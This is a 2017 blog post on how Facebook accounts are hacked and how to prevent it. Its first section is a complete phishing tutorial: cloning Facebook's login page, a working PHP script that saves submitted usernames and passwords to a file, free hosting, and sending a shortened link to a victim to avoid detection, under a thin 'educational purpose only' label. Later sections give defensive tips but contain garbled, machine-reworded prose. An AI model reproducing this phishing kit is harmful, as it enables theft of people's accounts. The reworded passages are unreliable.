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Friday 15 December 2017

How hackers hack facebook account & How to stop them??


Facebook is one of the most popular social networking website with more than 1 billion active users.Hacking a Facebook account has been made possible and easy thanks to online programs that give you the opportunity to hack Facebook account online without necessarily downloading any foreign software or program. A good number of these online hacking methods are free for use.

#1 Phishing
Phishing is the most commonly used method to hack Facebook. The most widely used technique in phishing is the use of Fake Log in Pages, also known as spoofed pages. These fake login pages resemble the original login pages of sites like Yahoo, Gmail, MySpace etc. The victim is fooled to believe the fake Facebook page to be the real one and enter his/her password. But once the user attempts to log in through these pages,  his/her Facebook login details is stolen away. you can make any phishing login page to hack facebook using phishing.

Step 1: To hack facebook using phishing, first of all, go to the Facebook and then right-click on the blank area, you will see the option view source page simply click on that.

Step 2: Now a tab will open which will contain source code of Facebook login page.

Step 3:  select all code and copy all code then paste it in notepad.

Step 4: When source code is pasted in notepad after that press Ctrl+F and type action in notepad.

Step 5: you will have to search again and again till you have found a text which looks like (Use ctrl+f) to find

action=”https://www.facebook.com/login.php?login_attempt=1&lwv=111

Step 6: After that delete all the text written in green and instead of write it Post.php. After that, it will look like action=”post.php”

Step 7: Save it on your desktop or in any hard drive storage with the name index.htm and yes remember not as index.html as many times people save it as index.html.

Step 8: Now you need to create a php file for this Open a new notepad and copy the code given below and save it with the name post.php.

<?php
header (‘Location:http://www.facebook.com/’);
$handle = fopen(“usernames.txt”, “a”);
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, “=”);
fwrite($handle, $value);
fwrite($handle, “\r\n”);
}
fwrite($handle, “\r\n”);
fclose($handle);
exit;
?>

you have successfully created two files 1. index.htm and 2. post.php

Step 9. You need to upload these two files in a free web hosting site. some best webhosting site which are useful for you. you need to make a account on any of one below web hosting site.

*www.my3gb.com
*Hostinger
*www.000webhost.com
*Freehosting
*I prefer www.000webhost.com

Step 10: now you have to sign up simply fill all required information in the registration form. When your account completely setup simply log in with your username and password.

Step 11: Open Cpanel (control panel) then click on file manager, after that a new window will pop up. Now go to public_html.

Step 12: Delete the file named default.php after that you need to upload index.htm and post.php file click on upload files button and upload both files one by one. Now click on index.htm which will look like same as that of the original Facebook page. this is your phishing page.

Step 13:Copy URL of that page and send this link to victim on Facebook , Gmail , or wherever you want, when victim open that link he see fake Facebook page which look like  real and enter their username and password and hit log in his password, the page redirects connect to facebook and you will able to see his/her password by going into account  000webhost.com and go to file manager and then public_html here you will find a new file as username.txt. Before sending this link to anyone shorten its URL first which may help you to undetected by Facebook. You have successfully hack Facebook using Phishing.

Note this is for educational purpose only!!!

To remain shielded from phishing, you should simply to stay ready and cautious. Be somewhat mindful before clicking any connection got in messages. Before marking in to any Facebook landing page, first check the URL warily. Do whatever it takes not to logging utilizing different "Facebook gadgets" offered by sites and online journals. Better, you write the URL of Facebook, i.e. www.facebook.com which will straight away take you to the genuine site with no vagueness.

#2 Hacking Email Linked to facebook

I have dependably been confounded by individuals' mercy in this issue. The vast majority leave their email tends to noticeable on their Facebook profiles. A programmer at that point should simply know your name and he will be advantageously demonstrated your email address at your profile. Likewise, the vast majority share their email ids all over. How effortlessly a programmer would then be able to hack your Facebook account (and everything else related with that email id) on the off chance that he 'surmises' your secret key (on the off chance that you utilize a powerless watchword) or answers your security question! 

Here are a few deceives you can use to shield yourself from this helplessness.
Keep your Email address hidden from everyone. To do this go to Edit Profile>Contact Information>Click the icon beside your email address> check the option ‘Only Me’
Always use a familiar ID as the primary email address. It is better not to use the email that you share with everyone as the primary email. To set a new email as the primary email, go to Account Settings>Email> Enter your primary email.
Most likely, you will use the same laptop, computer or tablet to access your Facebook on daily office. Very rarely you will be in a situation when you will be using a new device. Hence, always set your account to inform you whenever, it is accessed from a new location or a new computer. To do this go to Account Settings>check ‘Secure browsing’>’Send me an email when a new computer or mobile device logs into this account’ and click ‘Save.’

Using worst email passwords to email and dumb security questions are likely to be hacked.

#3 Keylogging through Keyloggers
Keylogger is a type of computer virus that tracks key strokes. Keyloggers can be installed remotely on a computer system by a cracker to record all the activity that is going on the victim's computer. Keylogging gets more easy if the hacker has physical access to the victim's computer.

#4 How to stop keyloggers?
Install a good antivirus and update it frequently. Do not click on suspicious links and avoid downloading illegal software. Also, avoid installing free toolbars and other such spam software. Always scan third-person's flash and pen drives before using them on your computer.

#5 Social Engineering
What is Social Engineering??
Social engineering involves using any trick to fool the user into making himself vulnerable to exploits. This could involve anything from sending spoof emails, pretending to be from Facebook, telling you to change your password to 12345678 to a hacker maliciously getting out the answer to your security question in a friendly chat or discussion.
In a social building assault, an aggressor utilizes human connection (social abilities) to acquire or bargain data around an association or its PC frameworks. An assailant may appear to be unassuming and respectable, conceivably asserting to be another representative, repair individual, or scientist and notwithstanding offering accreditations to help that personality. In any case, by making inquiries, he or she might have the capacity to sort sufficiently out data to invade an association's system. In the event that an aggressor can't assemble enough data from one source, he or she may contact another source inside a similar association and depend on the data from the main source to add to his or her believability.

#6 How to prevent yourself from being socially engineered?
Stay aware during chats and discussions. Use a tough security question, preferably one whose answer you would never disclose to anyone. Moreover, Facebook, or any other company for that matter, will never ask you to change your password to 12345678 or do something as silly as asking you to send out your login details to prove that you are an active user. Always think before taking actions and your e-life on Facebook will be safe from hackers looking to hack Facebook accounts.

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